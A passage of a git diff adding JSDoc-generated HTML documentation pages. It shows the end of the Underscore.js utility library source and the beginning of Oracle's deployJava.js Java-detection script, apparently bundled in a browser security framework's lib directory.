+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      computed >= result.computed && (result = {value : value, computed : computed});
+    });
+    return result.value;
+  };
+
+  // Return the minimum element (or element-based computation).
+  _.min = function(obj, iterator, context) {
+    if (!iterator && _.isArray(obj) && obj[0] === +obj[0]) return Math.min.apply(Math, obj);
+    if (!iterator && _.isEmpty(obj)) return Infinity;
+    var result = {computed : Infinity};
+    each(obj, function(value, index, list) {
+      var computed = iterator ? iterator.call(context, value, index, list) : value;
+      computed < result.computed && (result = {value : value, computed : computed});
+    });
+    return result.value;
+  };
+
+  // Shuffle an array.
+  _.shuffle = function(obj) {
+    var shuffled = [], rand;
+    each(obj, function(value, index, list) {
+      rand = Math.floor(Math.random() * (index + 1));
+      shuffled[index] = shuffled[rand];
+      shuffled[rand] = value;
+    });
+    return shuffled;
+  };
+
+  // Sort the object's values by a criterion produced by an iterator.
+  _.sortBy = function(obj, val, context) {
+    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+    return _.pluck(_.map(obj, function(value, index, list) {
+      return {
+        value : value,
+        criteria : iterator.call(context, value, index, list)
+      };
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      if (a === void 0) return 1;
+      if (b === void 0) return -1;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }), 'value');
+  };
+
+  // Groups the object's values by a criterion. Pass either a string attribute
+  // to group by, or a function that returns the criterion.
+  _.groupBy = function(obj, val) {
+    var result = {};
+    var iterator = _.isFunction(val) ? val : function(obj) { return obj[val]; };
+    each(obj, function(value, index) {
+      var key = iterator(value, index);
+      (result[key] || (result[key] = [])).push(value);
+    });
+    return result;
+  };
+
+  // Use a comparator function to figure out at what index an object should
+  // be inserted so as to maintain order. Uses binary search.
+  _.sortedIndex = function(array, obj, iterator) {
+    iterator || (iterator = _.identity);
+    var low = 0, high = array.length;
+    while (low < high) {
+      var mid = (low + high) >> 1;
+      iterator(array[mid]) < iterator(obj) ? low = mid + 1 : high = mid;
+    }
+    return low;
+  };
+
+  // Safely convert anything iterable into a real, live array.
+  _.toArray = function(obj) {
+    if (!obj)                                     return [];
+    if (_.isArray(obj))                           return slice.call(obj);
+    if (_.isArguments(obj))                       return slice.call(obj);
+    if (obj.toArray && _.isFunction(obj.toArray)) return obj.toArray();
+    return _.values(obj);
+  };
+
+  // Return the number of elements in an object.
+  _.size = function(obj) {
+    return _.isArray(obj) ? obj.length : _.keys(obj).length;
+  };
+
+  // Array Functions
+  // ---------------
+
+  // Get the first element of an array. Passing **n** will return the first N
+  // values in the array. Aliased as `head` and `take`. The **guard** check
+  // allows it to work with `_.map`.
+  _.first = _.head = _.take = function(array, n, guard) {
+    return (n != null) && !guard ? slice.call(array, 0, n) : array[0];
+  };
+
+  // Returns everything but the last entry of the array. Especcialy useful on
+  // the arguments object. Passing **n** will return all the values in
+  // the array, excluding the last N. The **guard** check allows it to work with
+  // `_.map`.
+  _.initial = function(array, n, guard) {
+    return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
+  };
+
+  // Get the last element of an array. Passing **n** will return the last N
+  // values in the array. The **guard** check allows it to work with `_.map`.
+  _.last = function(array, n, guard) {
+    if ((n != null) && !guard) {
+      return slice.call(array, Math.max(array.length - n, 0));
+    } else {
+      return array[array.length - 1];
+    }
+  };
+
+  // Returns everything but the first entry of the array. Aliased as `tail`.
+  // Especially useful on the arguments object. Passing an **index** will return
+  // the rest of the values in the array from that index onward. The **guard**
+  // check allows it to work with `_.map`.
+  _.rest = _.tail = function(array, index, guard) {
+    return slice.call(array, (index == null) || guard ? 1 : index);
+  };
+
+  // Trim out all falsy values from an array.
+  _.compact = function(array) {
+    return _.filter(array, function(value){ return !!value; });
+  };
+
+  // Return a completely flattened version of an array.
+  _.flatten = function(array, shallow) {
+    return _.reduce(array, function(memo, value) {
+      if (_.isArray(value)) return memo.concat(shallow ? value : _.flatten(value));
+      memo[memo.length] = value;
+      return memo;
+    }, []);
+  };
+
+  // Return a version of the array that does not contain the specified value(s).
+  _.without = function(array) {
+    return _.difference(array, slice.call(arguments, 1));
+  };
+
+  // Produce a duplicate-free version of the array. If the array has already
+  // been sorted, you have the option of using a faster algorithm.
+  // Aliased as `unique`.
+  _.uniq = _.unique = function(array, isSorted, iterator) {
+    var initial = iterator ? _.map(array, iterator) : array;
+    var results = [];
+    // The `isSorted` flag is irrelevant if the array only contains two elements.
+    if (array.length < 3) isSorted = true;
+    _.reduce(initial, function (memo, value, index) {
+      if (isSorted ? _.last(memo) !== value || !memo.length : !_.include(memo, value)) {
+        memo.push(value);
+        results.push(array[index]);
+      }
+      return memo;
+    }, []);
+    return results;
+  };
+
+  // Produce an array that contains the union: each distinct element from all of
+  // the passed-in arrays.
+  _.union = function() {
+    return _.uniq(_.flatten(arguments, true));
+  };
+
+  // Produce an array that contains every item shared between all the
+  // passed-in arrays. (Aliased as "intersect" for back-compat.)
+  _.intersection = _.intersect = function(array) {
+    var rest = slice.call(arguments, 1);
+    return _.filter(_.uniq(array), function(item) {
+      return _.every(rest, function(other) {
+        return _.indexOf(other, item) >= 0;
+      });
+    });
+  };
+
+  // Take the difference between one array and a number of other arrays.
+  // Only the elements present in just the first array will remain.
+  _.difference = function(array) {
+    var rest = _.flatten(slice.call(arguments, 1), true);
+    return _.filter(array, function(value){ return !_.include(rest, value); });
+  };
+
+  // Zip together multiple lists into a single array -- elements that share
+  // an index go together.
+  _.zip = function() {
+    var args = slice.call(arguments);
+    var length = _.max(_.pluck(args, 'length'));
+    var results = new Array(length);
+    for (var i = 0; i < length; i++) results[i] = _.pluck(args, "" + i);
+    return results;
+  };
+
+  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
+  // we need this function. Return the position of the first occurrence of an
+  // item in an array, or -1 if the item is not included in the array.
+  // Delegates to **ECMAScript 5**'s native `indexOf` if available.
+  // If the array is large and already in sort order, pass `true`
+  // for **isSorted** to use binary search.
+  _.indexOf = function(array, item, isSorted) {
+    if (array == null) return -1;
+    var i, l;
+    if (isSorted) {
+      i = _.sortedIndex(array, item);
+      return array[i] === item ? i : -1;
+    }
+    if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item);
+    for (i = 0, l = array.length; i < l; i++) if (i in array && array[i] === item) return i;
+    return -1;
+  };
+
+  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
+  _.lastIndexOf = function(array, item) {
+    if (array == null) return -1;
+    if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) return array.lastIndexOf(item);
+    var i = array.length;
+    while (i--) if (i in array && array[i] === item) return i;
+    return -1;
+  };
+
+  // Generate an integer Array containing an arithmetic progression. A port of
+  // the native Python `range()` function. See
+  // [the Python documentation](http://docs.python.org/library/functions.html#range).
+  _.range = function(start, stop, step) {
+    if (arguments.length <= 1) {
+      stop = start || 0;
+      start = 0;
+    }
+    step = arguments[2] || 1;
+
+    var len = Math.max(Math.ceil((stop - start) / step), 0);
+    var idx = 0;
+    var range = new Array(len);
+
+    while(idx < len) {
+      range[idx++] = start;
+      start += step;
+    }
+
+    return range;
+  };
+
+  // Function (ahem) Functions
+  // ------------------
+
+  // Reusable constructor function for prototype setting.
+  var ctor = function(){};
+
+  // Create a function bound to a given object (assigning `this`, and arguments,
+  // optionally). Binding with arguments is also known as `curry`.
+  // Delegates to **ECMAScript 5**'s native `Function.bind` if available.
+  // We check for `func.bind` first, to fail fast when `func` is undefined.
+  _.bind = function bind(func, context) {
+    var bound, args;
+    if (func.bind === nativeBind && nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
+    if (!_.isFunction(func)) throw new TypeError;
+    args = slice.call(arguments, 2);
+    return bound = function() {
+      if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
+      ctor.prototype = func.prototype;
+      var self = new ctor;
+      var result = func.apply(self, args.concat(slice.call(arguments)));
+      if (Object(result) === result) return result;
+      return self;
+    };
+  };
+
+  // Bind all of an object's methods to that object. Useful for ensuring that
+  // all callbacks defined on an object belong to it.
+  _.bindAll = function(obj) {
+    var funcs = slice.call(arguments, 1);
+    if (funcs.length == 0) funcs = _.functions(obj);
+    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
+    return obj;
+  };
+
+  // Memoize an expensive function by storing its results.
+  _.memoize = function(func, hasher) {
+    var memo = {};
+    hasher || (hasher = _.identity);
+    return function() {
+      var key = hasher.apply(this, arguments);
+      return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
+    };
+  };
+
+  // Delays a function for the given number of milliseconds, and then calls
+  // it with the arguments supplied.
+  _.delay = function(func, wait) {
+    var args = slice.call(arguments, 2);
+    return setTimeout(function(){ return func.apply(null, args); }, wait);
+  };
+
+  // Defers a function, scheduling it to run after the current call stack has
+  // cleared.
+  _.defer = function(func) {
+    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
+  };
+
+  // Returns a function, that, when invoked, will only be triggered at most once
+  // during a given window of time.
+  _.throttle = function(func, wait) {
+    var context, args, timeout, throttling, more, result;
+    var whenDone = _.debounce(function(){ more = throttling = false; }, wait);
+    return function() {
+      context = this; args = arguments;
+      var later = function() {
+        timeout = null;
+        if (more) func.apply(context, args);
+        whenDone();
+      };
+      if (!timeout) timeout = setTimeout(later, wait);
+      if (throttling) {
+        more = true;
+      } else {
+        result = func.apply(context, args);
+      }
+      whenDone();
+      throttling = true;
+      return result;
+    };
+  };
+
+  // Returns a function, that, as long as it continues to be invoked, will not
+  // be triggered. The function will be called after it stops being called for
+  // N milliseconds. If `immediate` is passed, trigger the function on the
+  // leading edge, instead of the trailing.
+  _.debounce = function(func, wait, immediate) {
+    var timeout;
+    return function() {
+      var context = this, args = arguments;
+      var later = function() {
+        timeout = null;
+        if (!immediate) func.apply(context, args);
+      };
+      if (immediate && !timeout) func.apply(context, args);
+      clearTimeout(timeout);
+      timeout = setTimeout(later, wait);
+    };
+  };
+
+  // Returns a function that will be executed at most one time, no matter how
+  // often you call it. Useful for lazy initialization.
+  _.once = function(func) {
+    var ran = false, memo;
+    return function() {
+      if (ran) return memo;
+      ran = true;
+      return memo = func.apply(this, arguments);
+    };
+  };
+
+  // Returns the first function passed as an argument to the second,
+  // allowing you to adjust arguments, run code before and after, and
+  // conditionally execute the original function.
+  _.wrap = function(func, wrapper) {
+    return function() {
+      var args = [func].concat(slice.call(arguments, 0));
+      return wrapper.apply(this, args);
+    };
+  };
+
+  // Returns a function that is the composition of a list of functions, each
+  // consuming the return value of the function that follows.
+  _.compose = function() {
+    var funcs = arguments;
+    return function() {
+      var args = arguments;
+      for (var i = funcs.length - 1; i >= 0; i--) {
+        args = [funcs[i].apply(this, args)];
+      }
+      return args[0];
+    };
+  };
+
+  // Returns a function that will only be executed after being called N times.
+  _.after = function(times, func) {
+    if (times <= 0) return func();
+    return function() {
+      if (--times < 1) { return func.apply(this, arguments); }
+    };
+  };
+
+  // Object Functions
+  // ----------------
+
+  // Retrieve the names of an object's properties.
+  // Delegates to **ECMAScript 5**'s native `Object.keys`
+  _.keys = nativeKeys || function(obj) {
+    if (obj !== Object(obj)) throw new TypeError('Invalid object');
+    var keys = [];
+    for (var key in obj) if (_.has(obj, key)) keys[keys.length] = key;
+    return keys;
+  };
+
+  // Retrieve the values of an object's properties.
+  _.values = function(obj) {
+    return _.map(obj, _.identity);
+  };
+
+  // Return a sorted list of the function names available on the object.
+  // Aliased as `methods`
+  _.functions = _.methods = function(obj) {
+    var names = [];
+    for (var key in obj) {
+      if (_.isFunction(obj[key])) names.push(key);
+    }
+    return names.sort();
+  };
+
+  // Extend a given object with all the properties in passed-in object(s).
+  _.extend = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      for (var prop in source) {
+        obj[prop] = source[prop];
+      }
+    });
+    return obj;
+  };
+
+  // Return a copy of the object only containing the whitelisted properties.
+  _.pick = function(obj) {
+    var result = {};
+    each(_.flatten(slice.call(arguments, 1)), function(key) {
+      if (key in obj) result[key] = obj[key];
+    });
+    return result;
+  };
+
+  // Fill in a given object with default properties.
+  _.defaults = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      for (var prop in source) {
+        if (obj[prop] == null) obj[prop] = source[prop];
+      }
+    });
+    return obj;
+  };
+
+  // Create a (shallow-cloned) duplicate of an object.
+  _.clone = function(obj) {
+    if (!_.isObject(obj)) return obj;
+    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
+  };
+
+  // Invokes interceptor with the obj, and then returns obj.
+  // The primary purpose of this method is to "tap into" a method chain, in
+  // order to perform operations on intermediate results within the chain.
+  _.tap = function(obj, interceptor) {
+    interceptor(obj);
+    return obj;
+  };
+
+  // Internal recursive comparison function.
+  function eq(a, b, stack) {
+    // Identical objects are equal. `0 === -0`, but they aren't identical.
+    // See the Harmony `egal` proposal: http://wiki.ecmascript.org/doku.php?id=harmony:egal.
+    if (a === b) return a !== 0 || 1 / a == 1 / b;
+    // A strict comparison is necessary because `null == undefined`.
+    if (a == null || b == null) return a === b;
+    // Unwrap any wrapped objects.
+    if (a._chain) a = a._wrapped;
+    if (b._chain) b = b._wrapped;
+    // Invoke a custom `isEqual` method if one is provided.
+    if (a.isEqual && _.isFunction(a.isEqual)) return a.isEqual(b);
+    if (b.isEqual && _.isFunction(b.isEqual)) return b.isEqual(a);
+    // Compare `[[Class]]` names.
+    var className = toString.call(a);
+    if (className != toString.call(b)) return false;
+    switch (className) {
+      // Strings, numbers, dates, and booleans are compared by value.
+      case '[object String]':
+        // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
+        // equivalent to `new String("5")`.
+        return a == String(b);
+      case '[object Number]':
+        // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
+        // other numeric values.
+        return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
+      case '[object Date]':
+      case '[object Boolean]':
+        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
+        // millisecond representations. Note that invalid dates with millisecond representations
+        // of `NaN` are not equivalent.
+        return +a == +b;
+      // RegExps are compared by their source patterns and flags.
+      case '[object RegExp]':
+        return a.source == b.source &&
+               a.global == b.global &&
+               a.multiline == b.multiline &&
+               a.ignoreCase == b.ignoreCase;
+    }
+    if (typeof a != 'object' || typeof b != 'object') return false;
+    // Assume equality for cyclic structures. The algorithm for detecting cyclic
+    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
+    var length = stack.length;
+    while (length--) {
+      // Linear search. Performance is inversely proportional to the number of
+      // unique nested structures.
+      if (stack[length] == a) return true;
+    }
+    // Add the first object to the stack of traversed objects.
+    stack.push(a);
+    var size = 0, result = true;
+    // Recursively compare objects and arrays.
+    if (className == '[object Array]') {
+      // Compare array lengths to determine if a deep comparison is necessary.
+      size = a.length;
+      result = size == b.length;
+      if (result) {
+        // Deep compare the contents, ignoring non-numeric properties.
+        while (size--) {
+          // Ensure commutative equality for sparse arrays.
+          if (!(result = size in a == size in b && eq(a[size], b[size], stack))) break;
+        }
+      }
+    } else {
+      // Objects with different constructors are not equivalent.
+      if ('constructor' in a != 'constructor' in b || a.constructor != b.constructor) return false;
+      // Deep compare objects.
+      for (var key in a) {
+        if (_.has(a, key)) {
+          // Count the expected number of properties.
+          size++;
+          // Deep compare each member.
+          if (!(result = _.has(b, key) && eq(a[key], b[key], stack))) break;
+        }
+      }
+      // Ensure that both objects contain the same number of properties.
+      if (result) {
+        for (key in b) {
+          if (_.has(b, key) && !(size--)) break;
+        }
+        result = !size;
+      }
+    }
+    // Remove the first object from the stack of traversed objects.
+    stack.pop();
+    return result;
+  }
+
+  // Perform a deep comparison to check if two objects are equal.
+  _.isEqual = function(a, b) {
+    return eq(a, b, []);
+  };
+
+  // Is a given array, string, or object empty?
+  // An "empty" object has no enumerable own-properties.
+  _.isEmpty = function(obj) {
+    if (obj == null) return true;
+    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
+    for (var key in obj) if (_.has(obj, key)) return false;
+    return true;
+  };
+
+  // Is a given value a DOM element?
+  _.isElement = function(obj) {
+    return !!(obj && obj.nodeType == 1);
+  };
+
+  // Is a given value an array?
+  // Delegates to ECMA5's native Array.isArray
+  _.isArray = nativeIsArray || function(obj) {
+    return toString.call(obj) == '[object Array]';
+  };
+
+  // Is a given variable an object?
+  _.isObject = function(obj) {
+    return obj === Object(obj);
+  };
+
+  // Is a given variable an arguments object?
+  _.isArguments = function(obj) {
+    return toString.call(obj) == '[object Arguments]';
+  };
+  if (!_.isArguments(arguments)) {
+    _.isArguments = function(obj) {
+      return !!(obj && _.has(obj, 'callee'));
+    };
+  }
+
+  // Is a given value a function?
+  _.isFunction = function(obj) {
+    return toString.call(obj) == '[object Function]';
+  };
+
+  // Is a given value a string?
+  _.isString = function(obj) {
+    return toString.call(obj) == '[object String]';
+  };
+
+  // Is a given value a number?
+  _.isNumber = function(obj) {
+    return toString.call(obj) == '[object Number]';
+  };
+
+  // Is a given object a finite number?
+  _.isFinite = function(obj) {
+    return _.isNumber(obj) && isFinite(obj);
+  };
+
+  // Is the given value `NaN`?
+  _.isNaN = function(obj) {
+    // `NaN` is the only value for which `===` is not reflexive.
+    return obj !== obj;
+  };
+
+  // Is a given value a boolean?
+  _.isBoolean = function(obj) {
+    return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
+  };
+
+  // Is a given value a date?
+  _.isDate = function(obj) {
+    return toString.call(obj) == '[object Date]';
+  };
+
+  // Is the given value a regular expression?
+  _.isRegExp = function(obj) {
+    return toString.call(obj) == '[object RegExp]';
+  };
+
+  // Is a given value equal to null?
+  _.isNull = function(obj) {
+    return obj === null;
+  };
+
+  // Is a given variable undefined?
+  _.isUndefined = function(obj) {
+    return obj === void 0;
+  };
+
+  // Has own property?
+  _.has = function(obj, key) {
+    return hasOwnProperty.call(obj, key);
+  };
+
+  // Utility Functions
+  // -----------------
+
+  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
+  // previous owner. Returns a reference to the Underscore object.
+  _.noConflict = function() {
+    root._ = previousUnderscore;
+    return this;
+  };
+
+  // Keep the identity function around for default iterators.
+  _.identity = function(value) {
+    return value;
+  };
+
+  // Run a function **n** times.
+  _.times = function (n, iterator, context) {
+    for (var i = 0; i < n; i++) iterator.call(context, i);
+  };
+
+  // Escape a string for HTML interpolation.
+  _.escape = function(string) {
+    return (''+string).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;').replace(/\//g,'&#x2F;');
+  };
+
+  // If the value of the named property is a function then invoke it;
+  // otherwise, return it.
+  _.result = function(object, property) {
+    if (object == null) return null;
+    var value = object[property];
+    return _.isFunction(value) ? value.call(object) : value;
+  };
+
+  // Add your own custom functions to the Underscore object, ensuring that
+  // they're correctly added to the OOP wrapper as well.
+  _.mixin = function(obj) {
+    each(_.functions(obj), function(name){
+      addToWrapper(name, _[name] = obj[name]);
+    });
+  };
+
+  // Generate a unique integer id (unique within the entire client session).
+  // Useful for temporary DOM ids.
+  var idCounter = 0;
+  _.uniqueId = function(prefix) {
+    var id = idCounter++;
+    return prefix ? prefix + id : id;
+  };
+
+  // By default, Underscore uses ERB-style template delimiters, change the
+  // following template settings to use alternative delimiters.
+  _.templateSettings = {
+    evaluate    : /<%([\s\S]+?)%>/g,
+    interpolate : /<%=([\s\S]+?)%>/g,
+    escape      : /<%-([\s\S]+?)%>/g
+  };
+
+  // When customizing `templateSettings`, if you don't want to define an
+  // interpolation, evaluation or escaping regex, we need one that is
+  // guaranteed not to match.
+  var noMatch = /.^/;
+
+  // Certain characters need to be escaped so that they can be put into a
+  // string literal.
+  var escapes = {
+    '\\': '\\',
+    "'": "'",
+    'r': '\r',
+    'n': '\n',
+    't': '\t',
+    'u2028': '\u2028',
+    'u2029': '\u2029'
+  };
+
+  for (var p in escapes) escapes[escapes[p]] = p;
+  var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
+  var unescaper = /\\(\\|'|r|n|t|u2028|u2029)/g;
+
+  // Within an interpolation, evaluation, or escaping, remove HTML escaping
+  // that had been previously added.
+  var unescape = function(code) {
+    return code.replace(unescaper, function(match, escape) {
+      return escapes[escape];
+    });
+  };
+
+  // JavaScript micro-templating, similar to John Resig's implementation.
+  // Underscore templating handles arbitrary delimiters, preserves whitespace,
+  // and correctly escapes quotes within interpolated code.
+  _.template = function(text, data, settings) {
+    settings = _.defaults(settings || {}, _.templateSettings);
+
+    // Compile the template source, taking care to escape characters that
+    // cannot be included in a string literal and then unescape them in code
+    // blocks.
+    var source = "__p+='" + text
+      .replace(escaper, function(match) {
+        return '\\' + escapes[match];
+      })
+      .replace(settings.escape || noMatch, function(match, code) {
+        return "'+\n_.escape(" + unescape(code) + ")+\n'";
+      })
+      .replace(settings.interpolate || noMatch, function(match, code) {
+        return "'+\n(" + unescape(code) + ")+\n'";
+      })
+      .replace(settings.evaluate || noMatch, function(match, code) {
+        return "';\n" + unescape(code) + "\n;__p+='";
+      }) + "';\n";
+
+    // If a variable is not specified, place data values in local scope.
+    if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
+
+    source = "var __p='';" +
+      "var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n" +
+      source + "return __p;\n";
+
+    var render = new Function(settings.variable || 'obj', '_', source);
+    if (data) return render(data, _);
+    var template = function(data) {
+      return render.call(this, data, _);
+    };
+
+    // Provide the compiled function source as a convenience for build time
+    // precompilation.
+    template.source = 'function(' + (settings.variable || 'obj') + '){\n' +
+      source + '}';
+
+    return template;
+  };
+
+  // Add a "chain" function, which will delegate to the wrapper.
+  _.chain = function(obj) {
+    return _(obj).chain();
+  };
+
+  // The OOP Wrapper
+  // ---------------
+
+  // If Underscore is called as a function, it returns a wrapped object that
+  // can be used OO-style. This wrapper holds altered versions of all the
+  // underscore functions. Wrapped objects may be chained.
+  var wrapper = function(obj) { this._wrapped = obj; };
+
+  // Expose `wrapper.prototype` as `_.prototype`
+  _.prototype = wrapper.prototype;
+
+  // Helper function to continue chaining intermediate results.
+  var result = function(obj, chain) {
+    return chain ? _(obj).chain() : obj;
+  };
+
+  // A method to easily add functions to the OOP wrapper.
+  var addToWrapper = function(name, func) {
+    wrapper.prototype[name] = function() {
+      var args = slice.call(arguments);
+      unshift.call(args, this._wrapped);
+      return result(func.apply(_, args), this._chain);
+    };
+  };
+
+  // Add all of the Underscore functions to the wrapper object.
+  _.mixin(_);
+
+  // Add all mutator Array functions to the wrapper.
+  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
+    var method = ArrayProto[name];
+    wrapper.prototype[name] = function() {
+      var wrapped = this._wrapped;
+      method.apply(wrapped, arguments);
+      var length = wrapped.length;
+      if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0];
+      return result(wrapped, this._chain);
+    };
+  });
+
+  // Add all accessor Array functions to the wrapper.
+  each(['concat', 'join', 'slice'], function(name) {
+    var method = ArrayProto[name];
+    wrapper.prototype[name] = function() {
+      return result(method.apply(this._wrapped, arguments), this._chain);
+    };
+  });
+
+  // Start chaining a wrapped Underscore object.
+  wrapper.prototype.chain = function() {
+    this._chain = true;
+    return this;
+  };
+
+  // Extracts the result from a wrapped and chained object.
+  wrapper.prototype.value = function() {
+    return this._wrapped;
+  };
+
+}).call(this);
+
+});
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/lib_deployJava.js.html b/docs/lib_deployJava.js.html new file mode 100644 index 000000000..f7c7a432c --- /dev/null +++ b/docs/lib_deployJava.js.html @@ -0,0 +1,1346 @@ + + + + + JSDoc: Source: lib/deployJava.js + + + + + + + + + + +
+ +

Source: lib/deployJava.js

+ + + + + + +
+
+
/*
+ * Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.
+ * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   - Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *
+ *   - Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *
+ *   - Neither the name of Oracle nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/*
+ * deployJava.js
+ *
+ * This file is part of the Deployment Toolkit.  It provides functions for web
+ * pages to detect the presence of a JRE, install the latest JRE, and easily run
+ * applets or Web Start programs.  More Information on usage of the
+ * Deployment Toolkit can be found in the Deployment Guide at:
+ * http://docs.oracle.com/javase/6/docs/technotes/guides/jweb/index.html
+ *
+ * The "live" copy of this file may be found at :
+ * http://java.com/js/deployJava.js.
+ * For web pages provisioned using https, you may want to access the copy at:
+ * https://java.com/js/deployJava.js.
+ *
+ * You are encouraged to link directly to the live copies.
+ * The above files are stripped of comments and whitespace for performance,
+ * You can access this file w/o the whitespace and comments removed at:
+ * http://java.com/js/deployJava.txt.
+ *
+ */
+
+var deployJava = function() {
+    /** HTML attribute filter implementation */
+    var hattrs = {
+        core: [ 'id', 'class', 'title', 'style' ],
+        i18n: [ 'lang', 'dir' ],
+        events: [ 'onclick', 'ondblclick', 'onmousedown', 'onmouseup',
+            'onmouseover', 'onmousemove', 'onmouseout', 'onkeypress',
+            'onkeydown', 'onkeyup' ],
+        applet: [ 'codebase', 'code', 'name', 'archive', 'object',
+            'width', 'height', 'alt', 'align', 'hspace', 'vspace' ],
+        object: [ 'classid', 'codebase', 'codetype', 'data', 'type',
+            'archive', 'declare', 'standby', 'height', 'width', 'usemap',
+            'name', 'tabindex', 'align', 'border', 'hspace', 'vspace' ]
+    };
+
+    var object_valid_attrs = hattrs.object.concat(hattrs.core, hattrs.i18n,
+        hattrs.events);
+    var applet_valid_attrs = hattrs.applet.concat(hattrs.core);
+
+    // generic log function
+    function log(message) {
+        if ( ! rv.debug ) {return};
+        beef.debug(message);
+    }
+
+    //checks where given version string matches query
+    //
+    //NB: assume format is correct. Can add format check later if needed
+    // from dtjava.js
+    function versionCheckEx(query, version) {
+        if (query == null || query.length == 0) return true;
+
+        var c = query.charAt(query.length - 1);
+
+        //if it is not explicit pattern but does not have update version then need to append *
+        if (c != '+' && c != '*' && (query.indexOf('_') != -1 && c != '_')) {
+            query = query + "*";
+            c = '*';
+        }
+
+        query = query.substring(0, query.length - 1);
+        //if query ends with ".", "_" then we want to strip it to allow match of "1.6.*" to shorter form such as "1.6"
+        //TODO: add support for match of "1.7.0*" to "1.7"?
+        if (query.length > 0) {
+            var z = query.charAt(query.length - 1);
+            if (z == '.' || z == '_') {
+                query = query.substring(0, query.length - 1);
+            }
+        }
+        if (c == '*') {
+            //it is match if version starts from it
+            return (version.indexOf(query) == 0);
+        } else if (c == '+') {
+            //match if query string is lexicographically smaller
+            return query <= version;
+        }
+        return false;
+    }
+
+    function getWebStartLaunchIconURL() {
+        var imageUrl = '//java.com/js/webstart.png';
+        try {
+            // for http/https; use protocol less url; use http for all other protocol
+            return document.location.protocol.indexOf('http') != -1 ?
+                imageUrl : 'http:' + imageUrl;
+        } catch (err) {
+            return 'http:' + imageUrl;
+        }
+    }
+
+    // GetJava page
+    function constructGetJavaURL(query) {
+
+        var getJavaURL = 'http://java.com/dt-redirect';
+
+        if (query == null || query.length == 0) return getJavaURL;
+        if(query.charAt(0) == '&')
+        {
+            query = query.substring(1, query.length);
+        }
+        return getJavaURL + '?'+  query;
+    }
+
+    function arHas(ar, attr) {
+        var len = ar.length;
+        for (var i = 0; i < len; i++) {
+            if (ar[i] === attr) return true;
+        }
+        return false;
+    }
+
+    function isValidAppletAttr(attr) {
+        return arHas(applet_valid_attrs, attr.toLowerCase());
+    }
+
+    function isValidObjectAttr(attr) {
+        return arHas(object_valid_attrs, attr.toLowerCase());
+    }
+
+    /**
+     * returns true if we can enable DT plugin auto-install without chance of
+     * deadlock on cert mismatch dialog
+     *
+     * requestedJREVersion param is optional - if null, it will be
+     * treated as installing any JRE version
+     *
+     * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
+     * If it encounter Oracle signed JRE installer, it will have chance of
+     * deadlock when running with IE.  This function is to guard against this.
+     */
+    function enableWithoutCertMisMatchWorkaround(requestedJREVersion) {
+
+        // Non-IE browser are okay
+        if ('MSIE' != deployJava.browserName) return true;
+
+        // if DT plugin is 10.0.0 or above, return true
